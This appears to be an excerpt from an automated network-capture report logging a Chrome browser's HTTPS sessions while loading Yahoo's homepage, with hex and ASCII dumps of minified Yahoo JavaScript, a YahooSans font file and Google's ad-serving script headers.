2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 6f 76 65 4c 69 73 74 65 6e 65 72 3a 65 2c 70 65 6e 64 69 6e 67 43 6c 61 73 73 3a 61 7d 3d 74 2e 6f 70 74 69 6f 6e 73 3b 74 2e 6f 70 74 69 6f 6e 73 2e 63 6f 6e 74 61 69 6e 65 72 26 26 28 30 2c 6f 2e 65 61 63 68 29 28 74 2e 6f 70 74 69 6f 6e 73 2e 63 6f 6e 74 61 69 6e 65 72 2c 28 65 3d 3e 7b 28 30 2c 6f 2e 75 6e 62 69 6e 64 45 76 65 6e 74 29 28 65 2c 22 73 63 72 6f 6c 6c 22 2c 73 2e 76 61 6c 69 64 61 74 65 44 29 7d 29 29 3b 66 6f 72 28 6c 65 74 20 74 3d 30 3b 74 3c 73 2e 63 6f 75 6e 74 3b 74 2b 2b 29 7b 63 6f 6e 73 74 20 65 3d 73 2e 65 6c 65 6d 65 6e 74 73 5b 74 5d 3b 28 30 2c 6f 2e 72 65 6d 6f 76 65 43 6c 61 73 73 29 28 65 2c 61 29 7d 28 30 2c 6f 2e 75 6e 62 69 6e 64 45 76 65 6e 74 29 28 77 69 6e 64 6f 77 2c 22 73 63 72 6f 6c 6c 22 2c 73 2e 76 61 6c 69 64 Data Ascii: oveListener:e,pendingClass:a}=t.options;t.options.container&&(0,o.each)(t.options.container,(e=>{(0,o.unbindEvent)(e,"scroll",s.validateD)}));for(let t=0;t<s.count;t++){const e=s.elements[t];(0,o.removeClass)(e,a)}(0,o.unbindEvent)(window,"scroll",s.valid
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 75 65 3a 21 30 7d 29 2c 74 2e 76 69 73 69 62 69 6c 69 74 79 4d 65 74 61 3d 74 2e 75 6e 62 69 6e 64 45 76 65 6e 74 3d 74 2e 74 68 72 6f 74 74 6c 65 3d 74 2e 73 65 74 41 74 74 72 73 3d 74 2e 73 65 74 41 74 74 72 3d 74 2e 72 65 73 75 6d 65 49 66 72 61 6d 65 3d 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 3d 74 2e 72 65 6d 6f 76 65 41 74 74 72 3d 74 2e 72 65 61 64 79 3d 74 2e 70 61 72 73 65 55 72 6c 3d 74 2e 6c 6f 61 64 53 63 72 69 70 74 53 79 6e 63 3d 74 2e 6c 6f 61 64 43 53 53 53 79 6e 63 3d 74 2e 6c 61 7a 79 4c 6f 61 64 4f 6e 63 65 4f 6e 6c 79 3d 74 2e 69 73 4e 6f 64 65 4e 61 6d 65 3d 74 2e 68 61 73 43 6c 61 73 73 3d 74 2e 68 61 6e 64 6c 65 53 6f 75 72 63 65 73 3d 74 2e 68 61 6e 64 6c 65 53 6f 75 72 63 65 3d 74 2e 67 65 74 51 75 65 72 79 53 74 72 69 6e 67 3d 74 Data Ascii: ue:!0}),t.visibilityMeta=t.unbindEvent=t.throttle=t.setAttrs=t.setAttr=t.resumeIframe=t.removeClass=t.removeAttr=t.ready=t.parseUrl=t.loadScriptSync=t.loadCSSSync=t.lazyLoadOnceOnly=t.isNodeName=t.hasClass=t.handleSources=t.handleSource=t.getQueryString=t
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 26 26 28 73 3d 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 74 29 29 2c 73 7d 3b 74 2e 74 68 72 6f 74 74 6c 65 3d 28 65 2c 74 2c 73 29 3d 3e 7b 6c 65 74 20 6f 3d 30 3b 72 65 74 75 72 6e 28 2e 2e 2e 61 29 3d 3e 7b 63 6f 6e 73 74 20 69 3d 2b 6e 65 77 20 44 61 74 65 3b 69 2d 6f 3c 74 7c 7c 28 6f 3d 69 2c 65 2e 61 70 70 6c 79 28 73 2c 61 29 29 7d 7d 3b 74 2e 64 65 62 6f 75 6e 63 65 3d 28 65 2c 74 2c 73 29 3d 3e 7b 6c 65 74 20 6f 3b 72 65 74 75 72 6e 28 2e 2e 2e 61 29 3d 3e 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 6f 29 2c 6f 3d 73 65 74 54 69 6d 65 6f 75 74 28 28 28 Data Ascii: .getComputedStyle&&(s=document.defaultView.getComputedStyle(e,null).getPropertyValue(t)),s};t.throttle=(e,t,s)=>{let o=0;return(...a)=>{const i=+new Date;i-o<t\|\|(o=i,e.apply(s,a))}};t.debounce=(e,t,s)=>{let o;return(...a)=>{clearTimeout(o),o=setTimeout(((
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 65 61 64 79 53 74 61 74 65 3f 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 63 61 70 74 75 72 65 3a 21 31 2c 70 61 73 73 69 76 65 3a 21 30 7d 29 3a 65 28 29 7d 3b 63 6f 6e 73 74 20 68 3d 28 65 2c 74 3d 28 28 29 3d 3e 7b 7d 29 2c 73 2c 6f 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 61 3d 30 29 3d 3e 7b 69 66 28 73 26 26 64 28 77 69 6e 64 6f 77 2c 73 2e 73 70 6c 69 74 28 22 2e 22 29 29 29 72 65 74 75 72 6e 20 76 6f 69 64 20 74 28 29 3b 63 6f 6e 73 74 20 69 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 69 2e 73 72 63 3d 65 2c 69 2e 74 79 70 65 3d 6f 2c 69 2e 61 73 79 6e 63 3d 21 30 2c 69 2e 64 Data Ascii: eadyState?document.addEventListener("DOMContentLoaded",e,{capture:!1,passive:!0}):e()};const h=(e,t=(()=>{}),s,o="text/javascript",a=0)=>{if(s&&d(window,s.split(".")))return void t();const i=document.createElement("script");i.src=e,i.type=o,i.async=!0,i.d
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 74 20 73 3d 30 3b 69 66 28 74 29 69 66 28 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 29 74 72 79 7b 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 28 65 29 7c 7c 28 73 3d 22 62 63 6e 5f 75 6e 73 75 63 63 65 73 73 66 75 6c 22 29 7d 63 61 74 63 68 28 6f 29 7b 73 3d 22 62 63 6e 5f 65 72 72 6f 72 22 7d 65 6c 73 65 20 73 3d 22 62 63 6e 5f 75 6e 73 75 70 70 6f 72 74 65 64 22 3b 65 6c 73 65 20 73 3d 22 62 63 6e 5f 75 73 65 69 6d 67 22 3b 69 66 28 73 29 7b 65 3d 65 2b 28 2d 31 3d 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 3f 22 3f 22 3a 22 26 22 29 2b 28 6e 65 77 20 44 61 74 65 Data Ascii: t s=0;if(t)if(window.navigator&&"function"==typeof window.navigator.sendBeacon)try{window.navigator.sendBeacon(e)\|\|(s="bcn_unsuccessful")}catch(o){s="bcn_error"}else s="bcn_unsupported";else s="bcn_useimg";if(s){e=e+(-1===e.indexOf("?")?"?":"&")+(new Date
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 20 73 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 6d 6f 7a 48 69 64 64 65 6e 21 3d 3d 73 3f 28 74 3d 22 6d 6f 7a 48 69 64 64 65 6e 22 2c 65 3d 22 6d 6f 7a 22 2b 65 29 3a 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 6d 73 48 69 64 64 65 6e 21 3d 3d 73 3f 28 74 3d 22 6d 73 48 69 64 64 65 6e 22 2c 65 3d 22 6d 73 22 2b 65 29 3a 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 77 65 62 6b 69 74 48 69 64 64 65 6e 21 3d 3d 73 26 26 28 74 3d 22 77 65 62 6b 69 74 48 69 64 64 65 6e 22 2c 65 3d 22 77 65 62 6b 69 74 22 2b 65 29 2c 7b 68 69 64 64 65 6e 3a 74 2c 76 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 3a 65 7d 7d 29 28 29 7d 2c 22 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 40 76 7a 6d 69 2f 77 Data Ascii: s="undefined";return typeof document.mozHidden!==s?(t="mozHidden",e="moz"+e):typeof document.msHidden!==s?(t="msHidden",e="ms"+e):typeof document.webkitHidden!==s&&(t="webkitHidden",e="webkit"+e),{hidden:t,visibilityChange:e}})()},"./node_modules/@vzmi/w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49890	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	579	OUT	GET /cv/apiv2/fonts/2019/YahooSansCond-Medium.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.yahoo.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	816	IN	HTTP/1.1 200 OK x-amz-id-2: 1L7Ln0nNxi0H3nRFU/25y76j9Q47tdAMj9lnSNyAE/fRNYq3ARc1s8BUlG+hrTfqIrc5aL36Y1k= x-amz-request-id: PZ044BGNXAF6HS2T Date: Sun, 24 Dec 2023 15:44:20 GMT Last-Modified: Tue, 03 Sep 2019 19:59:06 GMT ETag: "4d57d79eaa69d75ce2ba376ebf1730a6" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 12144 Referrer-Policy: no-referrer-when-downgrade Age: 1496574 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 2f 70 00 0c 00 00 00 00 79 f0 00 00 2f 1a 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c a0 46 06 60 00 8c 24 11 08 0a 81 8c 24 f2 25 0b 86 5a 00 01 36 02 24 03 8d 30 04 20 05 8e 3b 07 94 65 1b c0 68 35 ec d8 4b 01 ce 03 10 c9 bb fd d0 98 19 b4 51 6a 55 2b 8a 60 e3 80 10 c1 47 b2 ff ff 6b 82 8c 31 f6 1b 78 e3 31 a5 2a 5c 12 9b c2 20 18 42 0a 0a 41 51 74 a5 e2 68 65 6c 5f f0 b6 9f be 2c fa bc 12 3d c8 97 7a 18 3b 8a 52 c0 9c e7 b8 30 7d e1 5f 06 72 1f fd 74 fd d8 b2 24 a6 8b 36 a9 38 e6 ed a1 54 63 7a 65 6c f9 bf 05 bb 67 6e 69 c3 eb e0 2a 47 68 ec 93 5c 82 c8 0e aa 7a 0e 34 22 31 24 de c4 fe c0 6f b3 f7 51 11 31 c1 00 41 f0 93 26 2a 1f 0b 71 0a 88 28 76 a0 58 88 8a 85 51 33 6a 7d 37 63 e5 22 6f b7 Data Ascii: wOF2/py/F`$$%Z6$0 ;eh5KQjU+`Gk1x1\ BAQthel_,=z;R0}_rt$68TczelgniGh\z4"1$oQ1A&*q(vXQ3j}7c"o
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 84 69 64 da 67 70 f0 6c 22 3d d8 99 9d cf e9 cd 3d 85 83 30 e8 00 e2 f2 3c 0e 12 6d f5 01 89 89 77 72 15 0d 62 14 98 aa 28 cb 60 92 21 2d 20 e3 48 41 38 8e d8 02 ca 80 eb 46 20 9e 4e 84 59 05 a8 db bd 87 c9 9c 59 01 ca 54 20 e2 14 3e e2 b1 c2 f9 2f 11 13 96 dc 2f e3 6c 88 57 40 6c 24 33 67 91 70 4a ec 18 6f f6 de 89 f8 97 6f 2d 0a a1 d3 9e 7c 0a 7b 84 b7 dd 1b b8 24 b9 4a a8 eb a4 2b df db ee a9 9c 93 ac 12 6a 9d a4 b2 bd ed ee d2 4e 32 4b a8 39 63 e6 7a db 6e 61 25 39 49 a8 53 86 89 e9 6d 3b b9 4a 72 90 50 87 09 03 cf db 26 99 4c 32 49 a8 c9 97 58 de 36 7e 30 f1 5b 1b 5b d1 36 47 8e b7 5d dc 19 bc 0b d5 6b cf f0 b4 c9 96 bd 36 ad e0 0b 8f b9 57 6d a1 7a 75 bb 35 cd 08 77 0c c4 c9 6b 90 9c 64 0a 7b 5f 6f 3b 73 ee 70 33 93 c3 41 21 d3 bf ef 58 a7 99 4e 67 Data Ascii: idgpl"==0<mwrb(`!- HA8F NYYT >//lW@l$3gpJoo-\|{$J+jN2K9czna%9ISm;JrP&L2IX6~0[[6G]k6Wmzu5wkd{_o;sp3A!XNg
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 8e 75 2f c2 31 99 6a ec fd c8 cc cc 0c 07 da 94 91 58 fd 66 66 ce 76 49 4e ae ad d0 da cf 1e 7f ac cc a6 dc 00 c2 93 a7 d6 99 b7 45 50 3c a4 e1 51 3e 98 ff 30 23 38 80 c5 18 d2 2b b1 10 c4 da 93 35 90 ad 83 67 35 b9 ad 78 1d c4 80 10 60 d5 44 98 54 79 40 a8 bb 89 95 e8 dc b0 d7 81 9d 57 ea f2 a2 32 62 8a f0 4b b5 02 44 15 bc 0b 44 bd 48 89 3c 45 5c 99 5a 79 7e 86 05 03 fe cd 05 c1 9f 43 84 0f 28 1d 84 01 bc 9d 5d 6f ef a6 7c 48 49 69 e7 97 b7 8e 54 7f 4c 29 27 32 a0 56 d2 f3 73 08 06 12 13 64 17 cf 56 11 ca c5 51 f1 aa 5b 96 ef 10 d6 a2 e3 88 ba 90 4f 54 1f 10 b6 73 8a c5 e0 86 cc 6f 71 5d 38 1f 3d 2a 0c a5 01 4a e4 a8 49 e6 ba 83 d9 4e bf a1 04 05 e4 cc cc fe 80 88 06 28 91 63 64 f1 5e 51 69 40 11 df d9 32 8b 2b 2f ba dc 6f c4 03 ff 40 14 25 80 1a b4 e9 Data Ascii: u/1jXffvINEP<Q>0#8+5g5x`DTy@W2bKDDH<E\Zy~C(]o\|HIiTL)'2VsdVQ[OTsoq]8=*JIN(cd^Qi@2+/o@%
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 2a a0 9d 43 e9 4f 31 82 8a f6 bd 81 8d a5 4b 7b 24 50 d5 b1 45 65 db 43 5a d5 6a 1c c2 49 ef 28 af 87 f0 67 5b eb eb fd 6e 70 29 43 e4 ed 0c 72 61 0f a2 26 4e aa 35 65 ea 5a 75 be 72 13 05 00 8b 04 89 f4 7f 80 71 d6 a8 d6 59 a7 e2 c0 68 cb 12 4d a6 d9 9b 6e fc 87 ff 77 cf 44 f0 4b 7a 1c 8d 56 56 a2 de 03 5e 96 97 a2 7c 15 15 54 e0 b0 07 8c 22 1e 23 81 47 89 51 1a db 27 50 c6 ca f0 41 44 ac 20 44 81 ed 94 54 37 3d 18 9a 98 f5 88 ec 38 ea a7 f3 84 a0 df 2b d7 8f 11 a0 b1 c3 b2 cd 0e d2 d5 1f 93 f9 fc 58 bc 47 36 dc d7 7d 6e 69 ea 98 c4 b5 6f ef e4 84 f7 89 2f ac a3 fc 89 fc 5e 51 ae b6 c8 e2 a5 cb 54 0d a1 6a 1f ad 07 7e f4 94 58 ab ce 6d 54 bf b4 5d 6b 0d f0 7a 37 99 4a bd 99 8b de 16 35 28 df d4 d3 98 cc 10 eb ab 9a 62 64 16 6f 80 9c 35 d1 c1 3b 05 a0 02 Data Ascii: *CO1K{$PEeCZjI(g[np)Cra&N5eZurqYhMnwDKzVV^\|T"#GQ'PAD DT7=8+XG6}nio/^QTj~XmT]kz7J5(bdo5;
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 8a 98 a4 13 27 d6 e1 bb 26 9a 15 79 76 a9 16 f1 c4 44 db e4 a8 bc 66 b8 be a1 72 24 1a df 1f d0 f1 93 64 fd fa d8 07 81 1d 06 fc 70 d4 e6 2a 7c 7f e4 66 9d f7 7a c9 94 62 b3 01 76 31 b7 ac c5 f7 c5 fe 78 66 3c f5 a8 21 ee c7 3a fc e6 55 9c 76 70 2c c5 ff f7 5a d7 52 0f cf 09 ba 21 28 75 9a a8 d3 9d 9d da 5d bc fb d2 79 9d 62 d3 68 d8 46 c3 2d 9c 9e d7 c1 df 03 fd 21 da 0d 94 ae e4 03 0d c7 3b 12 95 1e aa 43 a2 bc 8b f4 fe ac 03 86 a9 f6 ac 3a ef c4 a9 41 d7 29 61 fe 03 1d e5 3b 1d 57 0e 4b 3f ba 85 8b 27 13 37 05 cf 13 b5 02 45 bd 7f f9 a1 ae 74 dd d9 a9 bd c5 7b 2f 5d d4 65 77 2d df cf 52 fe 63 af 8a 6a ec eb 8b aa 57 41 eb 9f 9e 4b a4 1c 5f d4 e4 f9 6e 33 d1 1b 4f ea 8e 4c 79 7a e0 6a 4e 6c 74 52 a1 7d 72 e9 ed a7 3e 7d 62 2f 87 db 2b b2 b3 dc 1e c0 c4 Data Ascii: '&yvDfr$dp*\|fzbv1xf<!:Uvp,ZR!(u]ybhF-!;C:A)a;WK?'7Et{/]ew-RcjWAK_n3OLyzjNltR}r>}b/+
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 2a b2 ac 23 2a c0 bf 38 b3 ff 27 44 26 b8 1c ec 3f 28 ed 3b 08 26 1c 7c 62 45 22 d8 a7 04 86 e5 16 b5 a7 b4 cb 98 ab 6f 88 72 9c 6d 15 38 8a f5 08 cb 32 29 6c b5 7e a5 21 24 df 47 56 c0 1e 2a de dc bc bf db 43 69 77 05 0b 32 aa 6c 04 2b d7 9d 35 ea bc b7 a4 d4 1a c4 51 0a 9d 5f 74 2e af 2f 2d 8e aa f3 90 e9 5d 79 31 7b 2c e6 02 4e 8b 4f 31 6c a7 2f 91 a6 67 f7 91 b8 fc 58 c8 0c 58 a7 62 09 dd 65 0e f7 9c 95 98 32 a4 28 69 9a 1e e7 17 9d 98 9d 90 1c 93 14 2b 97 66 7f ad fe fa b4 55 aa 63 3e 12 e5 b2 68 47 ca 7c fc fc 1f b8 8c d2 92 63 bf ba f3 37 38 d3 0e 06 f7 8a 67 3d 03 48 9d 33 69 4b 20 85 9a 56 94 98 80 b6 6a f3 e4 2f fd bd 85 4c da c1 e1 ff cf ac 18 7f c8 f4 13 c8 f9 6e 3c 76 42 6e 7c 1c fa 86 9b 2f 0f 5c 45 73 f3 71 a1 6d 1e 5a ff fa e8 f6 29 a6 c8 Data Ascii: #8'D&?(;&\|bE"orm82)l~!$GV*Ciw2l+5Q_t./-]y1{,NO1l/gXXbe2(i+fUc>hG\|c78g=H3iK Vj/Ln<vBn\|/\EsqmZ)
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 86 59 0c 6b 62 4b b2 4a f6 2c a9 1b ae 5b b2 67 8c c6 75 54 bd 27 1b 4b d4 24 1e 4d 84 92 07 71 a4 c7 a5 f0 fb 21 59 76 f0 f1 cd f9 6a 7a 53 a3 52 61 86 51 aa 5b 53 56 59 ae df 53 5e a5 ad 1a 2b d7 cb 95 bc d7 7e 06 ac 6a 29 94 c8 c4 11 b2 f8 4f 51 31 65 49 6c 4c 58 bd a3 7f 08 73 0d 0d 4a e5 6a 37 ee d6 08 18 c1 87 46 16 68 cb 22 73 43 43 15 b9 50 aa 8d 2c 90 44 52 5a a2 a3 9a 28 94 a6 a8 e8 16 88 a2 eb b1 64 95 44 da 99 08 b6 09 e5 b1 78 27 6a 87 0b 69 74 56 1e 75 75 05 c3 3f 3b c8 f3 e1 19 eb 3a c5 8f a0 c3 33 7e 7c 16 29 37 7b 63 cf 68 a7 50 b2 29 6c 09 83 e2 e1 e8 18 49 23 5f 9f c5 14 57 bf 71 f6 31 8a 64 a2 9f 63 83 d6 83 d5 a2 86 97 e9 7f f2 c3 f8 69 09 69 1d f2 79 62 25 89 4c 4a be 52 0b 6a 3c 65 c1 75 25 f6 e2 2d 39 30 98 b1 da c5 66 74 2b 76 75 Data Ascii: YkbKJ,[guT'K$Mq!YvjzSRaQ[SVYS^+~j)OQ1eIlLXsJj7Fh"sCCP,DRZ(dDx'jitVuu?;:3~\|)7{chP)lI#_Wq1dciiyb%LJRj<eu%-90ft+vu
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 4f 90 87 2c ec eb ae b7 ac e9 f5 a6 ec 54 d3 5a 27 57 43 f0 e9 c2 89 b5 5a 58 d1 ac cb ba 86 27 2e 3f ee 82 36 fa 41 84 72 fb 46 50 d9 e4 d8 4a 27 c6 e1 80 b2 f1 de b5 66 9e 40 e1 54 7f 1d 98 1e bd 42 74 d0 94 5d e9 0e f8 30 97 f8 f7 a9 79 d0 3c 01 ea fe 79 52 d1 bf 4b 72 c3 47 ba 6e 4e 5a 36 09 e1 c0 82 f9 58 20 b3 a5 d2 69 50 d6 b7 d8 06 db 22 bb af 72 75 aa 03 d1 8b 9b 6d ce 03 48 19 d2 80 58 fb aa ea 91 a4 3c 83 fe 87 fb c2 85 55 06 24 26 af 5e 7f c6 e4 f3 b1 d7 16 24 24 b5 30 58 9d d7 48 7e c1 99 79 cd e4 82 4f 32 11 aa 11 2d 2c 40 1f 9b ae 09 5f a5 7e 2f d4 2a 80 33 70 6f 8e 7b 86 b4 58 d7 6c bf f9 d3 98 8a 74 f7 29 9c 39 52 9b 77 38 91 3a 52 4f 0c a4 81 34 92 26 d2 4c 5a 70 2b 95 78 2d 6c 16 5c 87 eb b1 01 37 e0 46 dc 84 9b 71 0b 6a 15 e3 93 3a 46 Data Ascii: O,TZ'WCZX'.?6ArFPJ'f@TBt]0y<yRKrGnNZ6X iP"rumHX<U$&^$$0XH~yO2-,@_~/*3po{Xlt)9Rw8:RO4&LZp+x-l\7Fqj:F
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: fc 0e b5 77 7c 61 90 7f 03 de a1 b7 05 78 4a a4 25 b2 50 f3 e1 22 f4 90 e3 e5 7f 85 56 79 90 ad 37 55 da 82 97 0b 42 53 a6 ae 98 31 f5 75 60 80 fc 89 cf b9 b3 b0 b1 98 e3 dc f5 79 9d 14 35 34 ae 45 d0 38 d3 ed 4f 64 1d 7e b6 d6 60 b1 13 eb 24 8b 8b 25 48 13 92 40 0f 61 50 a4 72 7a cb 4e d7 c3 ec e4 9c 2f 67 1d a3 41 a6 35 56 be 39 7f 68 7e 49 09 81 02 1f d3 c3 f8 7e 51 da d5 08 37 64 d3 ac fd 87 e4 5f a4 2c 66 f4 d7 01 22 80 bd ff d9 65 12 a5 39 6d 16 4e 7c 12 8b 40 0e 6e c0 01 ba 76 ef 81 0f ae 33 e2 92 2a 65 0e d5 b8 78 2c 6e 93 b8 a3 fa 17 75 d6 e2 b9 b8 40 43 fc 4c a9 21 20 ae 8a 63 2e 9b d9 a9 4c e5 18 76 57 6b d8 87 3a 8b de 08 b6 c2 8c 04 2f de c8 c1 4b aa 91 93 93 4e 23 17 b2 51 23 37 07 db 8d 3c e4 26 8c bc 1c 7d 32 f2 21 47 32 0a 70 8e 63 14 84 Data Ascii: w\|axJ%P"Vy7UBS1u`y54E8Od~`$%H@aPrzN/gA5V9h~I~Q7d_,f"e9mN\|@nv3*ex,nu@CL! c.LvWk:/KN#Q#7<&}2!G2pc
2024-01-10 23:27:13 UTC	444	IN	Data Raw: 70 a8 6c 95 a7 91 97 cf 52 85 57 57 a4 45 bb 1e c3 c8 8a f4 ec 62 7a 72 8a d9 aa 84 a4 2a e9 a2 3d a7 db 46 6b 77 76 2d 33 a4 8e eb 03 4c dd cf d7 0c e1 af a7 3b 20 27 da ca 69 d9 6d ee 82 da 8e 6e f7 5a 6c 98 67 eb ce 0d a2 1c dd ee a6 90 74 71 d7 69 ba b2 9a 65 ba c9 d0 bc 48 75 70 7f 4e 9f 07 28 aa 1f eb 9b 8a be b7 8e ff 8a 2d 5b 0d bf e3 0c d7 e8 23 47 d2 bc 92 d9 ac be ea e6 80 b8 70 71 66 98 f9 85 44 0a 4b 08 9f 62 89 54 1a 1f df ac 98 49 67 73 33 9a c2 45 77 39 14 5b b4 59 31 5e 00 14 04 40 f3 e2 ed c3 20 0c 76 20 12 11 44 24 39 25 4d 33 6d 86 19 96 e5 e2 b8 e5 a6 8b eb ad ad ed b6 ed bd bd 43 44 d0 a1 98 42 90 74 88 4f 16 b4 06 03 12 01 80 ed e3 52 8c cb c2 f4 09 bb bd ef 5b a3 b8 f3 25 6e a2 8b 5e 46 a6 f1 fc 29 51 ad b0 28 bd 7c 8e d8 d9 74 b5 Data Ascii: plRWWEbzr*=Fkwv-3L; 'imnZlgtqieHupN(-[#GpqfDKbTIgs3Ew9[Y1^@ v D$9%M3mCDBtOR[%n^F)Q(\|t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49889	172.253.122.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	674	OUT	GET /pagead/managed/js/gpt/m202401030101/pubads_impl.js HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	708	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe Content-Length: 446146 X-XSS-Protection: 0 Date: Wed, 10 Jan 2024 22:41:26 GMT Expires: Thu, 09 Jan 2025 22:41:26 GMT Cache-Control: public, immutable, max-age=31536000 ETag: 1469350900164882112 Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 2747 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:13 UTC	544	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 2f 2a 20 0a 20 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 20 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 0a 2a 2f 20 0a 2f 2a 20 0a 20 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 0a 2a 2f 20 0a 76 61 72 20 62 61 2c 66 61 2c 69 61 2c 6b 61 2c 6e 61 2c 71 61 2c 73 61 2c 77 61 2c 76 61 2c 78 61 2c 7a 61 2c 42 61 2c 43 61 2c 44 61 2c 46 61 2c 47 61 2c 4c 61 2c 4e 61 2c 4f 61 2c 51 61 2c 53 61 2c 24 61 2c 67 62 2c 69 62 2c 6b 62 2c 6d 62 2c 71 62 2c 75 62 2c 7a 62 2c 41 62 2c 49 62 2c 4b 62 2c 4d 62 2c 4f 62 Data Ascii: (function(_){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 / / SPDX-License-Identifier: Apache-2.0 */ var ba,fa,ia,ka,na,qa,sa,wa,va,xa,za,Ba,Ca,Da,Fa,Ga,La,Na,Oa,Qa,Sa,$a,gb,ib,kb,mb,qb,ub,zb,Ab,Ib,Kb,Mb,Ob
